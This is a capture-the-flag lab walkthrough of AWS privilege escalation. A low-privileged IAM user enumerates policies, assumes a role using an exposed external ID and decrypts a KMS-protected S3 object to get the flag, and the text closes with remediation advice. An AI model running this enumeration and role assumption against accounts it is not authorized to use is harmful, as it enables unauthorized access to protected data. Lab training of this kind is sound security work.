Skip to content

Assume & Decrypt (or vice versa) Walkthrough

Lab Name: Assume & Decrypt (or vice versa)
Platform: Infinity Learning

We start with a low-privileged IAM user that has basic visibility and limited S3 access. An encrypted S3 object cannot be downloaded because the user lacks KMS permissions. IAM enumeration reveals a role with kms:Decrypt access and a required external ID. We assume that role, decrypt the object, and retrieve the target artifact.

Attack Flow

2.1 Initial Access Creds for Assumed Breach

Section titled “2.1 Initial Access Creds for Assumed Breach”
Output
Access_Key_ID: [REDACTED_ACCESS_KEY]
Secret_Access_Key: [REDACTED_SECRET_KEY]

Configure obtained AWS credentials

Terminal window
aws configure --profile assume_esc
Output
AWS Access Key ID [None]: [REDACTED_ACCESS_KEY]
AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Caller Identity Output:

Terminal window
aws sts get-caller-identity --profile assume_esc
Output
{
"UserId": "AIDAQ3EGUZMESHJMZMYYT",
"Account": "058264439561",
"Arn": "arn:aws:iam::058264439561:user/Operation_Manager"
}
  • Username: Operation_Manager

List Managed policies attached to the user

Terminal window
aws iam list-attached-user-policies --profile assume_esc --user-name Operation_Manager
Output
{
"AttachedPolicies": []
}
  • There are no managed policies attached to the user Operation_Manager.

List Inline policies attached to the user

Terminal window
aws iam list-user-policies --user-name Operation_Manager --profile assume_esc
Output
{
"PolicyNames": [
"Operation_Manager_User_Policy"
]
}
  • We inspect Operation_Manager_User_Policy to see what permissions it grants.

Q1 Answer: Operation_Manager_User_Policy

Get inline policy details

Terminal window
aws iam get-user-policy --policy-name Operation_Manager_User_Policy --user-name Operation_Manager --profile assume_esc
Output
{
"UserName": "Operation_Manager",
"PolicyName": "Operation_Manager_User_Policy",
"PolicyDocument": {
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::proj-446792",
"arn:aws:s3:::proj-446792/*"
]
},
{
"Action": [
"iam:GetUser",
"iam:GetRole",
"iam:GetPolicy",
"iam:ListRoles",
"iam:ListPolicies",
"iam:ListUserPolicies",
"iam:ListRolePolicies",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetUserPolicy",
"iam:GetRolePolicy",
"iam:GetPolicyVersion"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
}
}

List S3 buckets accessible with the permissions above

Terminal window
aws s3 ls s3://proj-446792 --profile assume_esc
Output
2025-09-22 12:56:04 193 proj-446792-config.json
Terminal window
igris@pentest ~
aws s3 cp s3://proj-446792/proj-446792-config.json . --profile assume_esc
Output
download failed: s3://proj-446792/proj-446792-config.json to ./proj-446792-config.json An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:iam::058264439561:user/Operation_Manager is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:us-east-1:058264439561:key/c34e1aff-8c91-40a7-8969-a18e0864815b because no identity-based policy allows the kms:Decrypt action
  • The authenticated user Operation_Manager does not have permission to access KMS Keys.
  • We need permission to assume a role whose own permissions allow the S3 read and KMS decryption. The caller’s ability to assume a role is separate from what the resulting session can do.

List roles in the account. A role appearing in list-roles does not establish that Operation_Manager can assume it.

Terminal window
aws iam list-roles --profile assume_esc | tee out.txt
Output
{
"Path": "/",
"RoleName": "customer-onboard-role",
"RoleId": "AROAQ3EGUZME4CFZJKLB7",
"Arn": "arn:aws:iam::058264439561:role/customer-onboard-role",
"CreateDate": "2025-09-25T08:03:57+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::058264439561:user/Operation_Manager"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "A7F3K2-9X0B5D-Q4M8N1-V6P7R3"
}
}
},
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Allows EC2 instances to call AWS services on your behalf.",
"MaxSessionDuration": 3600
}
  • The customer-onboard-role trust policy explicitly allows Operation_Manager to call sts:AssumeRole and obtain temporary role credentials.
  • Q2 Answer: customer-onboard-role
  • Q3 Answer: A7F3K2-9X0B5D-Q4M8N1-V6P7R3

List inline policies attached to the role customer-onboard-role

Terminal window
aws iam list-role-policies --role-name customer-onboard-role --profile assume_esc
Output
{
"PolicyNames": [
"customer-onboard-role-policy"
]
}
  • Policy name: customer-onboard-role-policy

Get Role Policy permission for customer-onboard-role-policy

Terminal window
aws iam get-role-policy --role-name customer-onboard-role --policy-name customer-onboard-role-policy --profile assume_esc
Output
{
"RoleName": "customer-onboard-role",
"PolicyName": "customer-onboard-role-policy",
"PolicyDocument": {
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::proj-446792",
"arn:aws:s3:::proj-446792/*"
]
},
{
"Action": [
"kms:Decrypt"
],
"Effect": "Allow",
"Resource": "arn:aws:kms:us-east-1:058264439561:key/c34e1aff-8c91-40a7-8969-a18e0864815b"
}
],
"Version": "2012-10-17"
}
}
  • The customer-onboard-role has KMS decrypt permission. We can assume it and download the S3 bucket contents to find the flag.

An SSE-KMS read needs access to the S3 object and authorization to use its KMS key. An identity-policy allowance for kms:Decrypt is not sufficient if the key policy or another applicable control blocks the request. S3 performs the decryption during an authorized download; this differs from passing a raw SSE-C key. See AWS’s SSE-KMS permissions.

Assume the role with external ID:

Terminal window
aws sts assume-role --role-arn arn:aws:iam::058264439561:role/customer-onboard-role --role-session-name escalate_ec2 --profile assume_esc --external-id A7F3K2-9X0B5D-Q4M8N1-V6P7R3
Output
{
"Credentials": {
"AccessKeyId": "[REDACTED_TEMP_ACCESS_KEY]",
"SecretAccessKey": "[REDACTED_TEMP_SECRET_KEY]",
"SessionToken": "[REDACTED_SESSION_TOKEN]",
"Expiration": "2025-12-12T10:04:00+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAQ3EGUZME4CFZJKLB7:escalate_ec2",
"Arn": "arn:aws:sts::058264439561:assumed-role/customer-onboard-role/escalate_ec2"
}
}
  • Set up a CLI profile with the temporary credentials:

Configure the new profile:

Terminal window
aws configure --profile cus_or
Configuration example (redacted)
AWS Access Key ID [None]: [REDACTED_TEMP_ACCESS_KEY]
AWS Secret Access Key [None]: [REDACTED_TEMP_SECRET_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Add the session token under [cus_or] in ~/.aws/credentials; AWS CLI configuration does not prompt for it:

[cus_or]
aws_access_key_id = REDACTED_TEMP_ACCESS_KEY
aws_secret_access_key = REDACTED_TEMP_SECRET_KEY
aws_session_token = REDACTED_SESSION_TOKEN

Verify identity:

Terminal window
aws sts get-caller-identity --profile cus_or
Output
{
"UserId": "AROAQ3EGUZME4CFZJKLB7:escalate_ec2",
"Account": "058264439561",
"Arn": "arn:aws:sts::058264439561:assumed-role/customer-onboard-role/escalate_ec2"
}

We list the S3 bucket with escalate_ec2 and download the S3 object:

Terminal window
aws s3 cp s3://proj-446792/proj-446792-config.json . --profile cus_or
Output
download: s3://proj-446792/proj-446792-config.json to ./proj-446792-config.json
Terminal window
cat ./proj-446792-config.json
Output
{
"project": "proj-446792",
"environment": "prod",
"notes": "[REDACTED_FLAG]",
"metadata": {
"owner": "cloudsec-team",
"created": "2025-09-22"
}
}
  • Because we now have kms:Decrypt permission, the object is automatically decrypted during download.
  • The file proj-446792-config.json is saved locally and ready for inspection.
  • Q4 Answer: [REDACTED_FLAG]

  • IAM read access can reveal escalation paths.
  • S3 objects may require KMS permissions.
  • The trust policy admits our starting principal when we supply its external-ID condition. The resulting role session provides the missing access.
  • Misconfigured trust policies directly expose sensitive data.
  • Remove unnecessary IAM read privileges from low-privileged users.
  • Restrict the trusted principals. AWS external IDs address the confused-deputy problem; they are not passwords or secrets.
  • Limit kms:Decrypt access to tightly controlled identities.
  • Audit S3 and KMS usage, and monitor CloudTrail for suspicious role assumptions.